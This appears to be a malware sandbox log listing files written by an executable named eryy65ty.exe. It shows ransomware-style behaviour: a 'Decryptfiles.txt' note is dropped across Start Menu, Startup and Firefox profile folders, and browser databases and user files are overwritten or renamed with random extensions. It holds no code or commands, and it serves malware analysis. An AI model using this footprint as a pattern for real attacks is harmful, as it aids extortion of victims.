Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\OOJWCGHFZE.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\OOJWCGHFZE.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PWZOQIFCAN.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QFAPOWPAFG.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\SNIPGPPREP.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UJDGSZVRAQ.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UNKRLCVOHV.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VEPKBVANJO.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VWDFPKGDUF.pdf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\VWDFPKGDUF.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent Items\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Compressed (zipped) Folder.ZFSendToTarget.mHle offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Desktop (create shortcut).DeskLink.BxTm offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Documents.mydocs.hcyU offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Mail Recipient.MAPIMail.vgZW offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg offset: 65536
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Extensions\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash Reports\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending Pings\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\installs.ini offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\addonStartup.json.lz4 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\addonStartup.json.lz4 offset: 4096
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\bookmarkbackups\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\AlternateServices.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db offset: 229376
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\compatibility.ini offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\containers.json offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\content-prefs.sqlite offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\content-prefs.sqlite offset: 262144
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite offset: 98304
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm offset: 32768
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\crashes\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal.FoaS offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\crashes\events\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491690337.3be89113-af2b-4b48-9c47-40ac1156f7a2.new-profile.jsonlz4 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491690344.6260e81e-5ef5-4137-a0a5-7930ea6f0a75.main.jsonlz4 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491690347.6786f292-c1be-4996-99cd-77aa855c1844.first-shutdown.jsonlz4 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491695562.2c8e5eea-375d-48a9-ad4c-be583ff1215d.health.jsonlz4 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491695606.ff032c8b-05e6-43c9-9e84-732dbe7aca27.event.jsonlz4 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491695606.ff032c8b-05e6-43c9-9e84-732dbe7aca27.event.jsonlz4 offset: 4096
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491695610.18a05d94-e006-440f-b702-3e398a280dbf.health.jsonlz4 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491695614.edd11145-a3b3-4ebf-ba7b-14b7ec08f19f.main.jsonlz4 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491695614.edd11145-a3b3-4ebf-ba7b-14b7ec08f19f.main.jsonlz4 offset: 12288
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\db\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\events\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\db\data.safe.bin offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\events\background-update offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\events\events offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\010cab1b-3626-48b5-9d6b-0e4dfe4db5fa offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\01e461df-d85d-4561-a852-205de2d67f32 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\054622d9-6ed7-4f25-87fd-b3a9cd668b65 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\12672553-cb8c-4210-ae02-a59c1a541208 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\58b46d46-b146-420f-81af-5b32c19a8aef offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\59bd13a9-8183-4ac7-8723-9621ae6d3748 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\5e0297e1-aa9b-4634-aaf1-cfd1f718b993 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\6c257ec7-9ee7-4e42-91a6-7d3b50c23b76 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\6db12043-3902-4d45-8c5d-d992fbf6d4e7 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\758d1c71-5fff-4193-9977-7a57afa68bf7 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\7917ce80-55b3-46ca-99c2-70537bbb959a offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\7a27ea16-e265-40c0-823c-0125abf7d855 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\7f0194d6-62d6-4174-a7ed-55ebc13aacb4 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\b3c274f7-6fd8-4832-989b-74a48f86b6b5 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\c64980e6-c743-4793-ba4a-89f593d4eb16 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\tmp\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\e6e57dc0-d354-4d4a-8374-548b8e2bcc5d offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\f5c2d345-4cad-4c1a-a51d-15d682036066 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\state.json offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\ExperimentStoreData.json offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\extensions.json offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\favicons.sqlite offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\favicons.sqlite offset: 5242880
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\favicons.sqlite-shm offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\favicons.sqlite-shm offset: 32768
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\favicons.sqlite-wal.kIhf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\minidumps\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db offset: 294912
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\parent.lock.FXRH offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\permissions.sqlite offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\permissions.sqlite offset: 98304
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm offset: 32768
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal.YNXd offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js offset: 8192
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\protections.sqlite offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\18a05d94-e006-440f-b702-3e398a280dbf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\2c8e5eea-375d-48a9-ad4c-be583ff1215d offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\3be89113-af2b-4b48-9c47-40ac1156f7a2 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\3be89113-af2b-4b48-9c47-40ac1156f7a2 offset: 4096
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\6260e81e-5ef5-4137-a0a5-7930ea6f0a75 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\6260e81e-5ef5-4137-a0a5-7930ea6f0a75 offset: 65536
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\6786f292-c1be-4996-99cd-77aa855c1844 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\edd11145-a3b3-4ebf-ba7b-14b7ec08f19f offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\edd11145-a3b3-4ebf-ba7b-14b7ec08f19f offset: 40960
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\ff032c8b-05e6-43c9-9e84-732dbe7aca27 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\saved-telemetry-pings\ff032c8b-05e6-43c9-9e84-732dbe7aca27 offset: 8192
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionstore-backups\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionstore-backups\upgrade.jsonlz4-20230927232528 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionstore.jsonlz4 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\default\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\SiteSecurityServiceState.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\ls-archive.sqlite offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\ls-archive.sqlite offset: 131072
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\.metadata-v2 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite offset: 49152
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm offset: 32768
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-wal.YnEI offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite offset: 49152
